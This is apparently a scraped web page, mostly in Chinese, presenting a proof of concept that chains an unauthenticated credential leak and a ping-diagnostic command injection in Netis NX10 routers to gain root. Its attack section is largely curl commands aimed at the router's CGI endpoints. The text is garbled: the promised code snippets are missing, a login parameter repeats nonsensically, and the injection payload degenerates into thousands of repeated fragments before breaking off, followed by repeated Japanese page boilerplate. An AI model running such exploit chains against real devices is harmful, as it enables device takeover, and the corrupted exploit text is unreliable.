Netis NX10 Pre-Auth Command Injection & Credential Leak PoC (CVE-2026-6916/6917)

Netis NX10 路由器漏洞总结 漏洞概述 CVE-2026-6916：未认证的管理员凭据泄露（ping 诊断接口返回明文密码） CVE-2026-6917：未认证的 ping 诊断命令注入（ 中 调用存在注入点） 两条漏洞链式组合可实现从未认证 → 管理员会话 → root 的完整利用链。 影响范围 受影响固件：官方 V4.0.1.5508 及测试版 V3.0.0.4142（两个分支均存在） 影响：攻击者可通过 LAN 访问管理接口，获取完整控制权限，修改 DNS/路由、安装持久化、将设备作为跳板机。若部署了远程管理（WAN 侧），攻击面进一步扩大。 关键代码 / POC 1. 命令注入点（ping 诊断处理函数） 输入过滤器仅过滤 4 个字符： 2. 凭据泄露接口 响应体： 3. 完整利用链（POC 脚本） ```bash 1. 读取未认证泄露的管理员凭据 curl -s "http://ROUTER/web/cgi-bin/skk_set.cgi" \ 2. 用该凭据换取管理员会话 curl -s -X POST \ "http://ROUTER/web/cgi-bin/login.cgi" \ --data-urlencode "password=skk_get.cgi?sysinfo" \ --data-urlencode "password=skk_get.cgi?sysinfo" \ -o /dev/null 3. 通过 ping 命令注入执行任意 shell 命令 curl -s -X POST \ "http://ROUTER/web/cgi-bin/skk_set.cgi" \ --data-urlencode "t=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f

目標達成すべての支援者に感謝 — 100%達成しました！

Netis NX10 Pre-Auth Command Injection & Credential Leak PoC (CVE-2026-6916/6917)

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

Netis NX10 Pre-Auth Command Injection & Credential Leak PoC (CVE-2026-6916/6917)

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！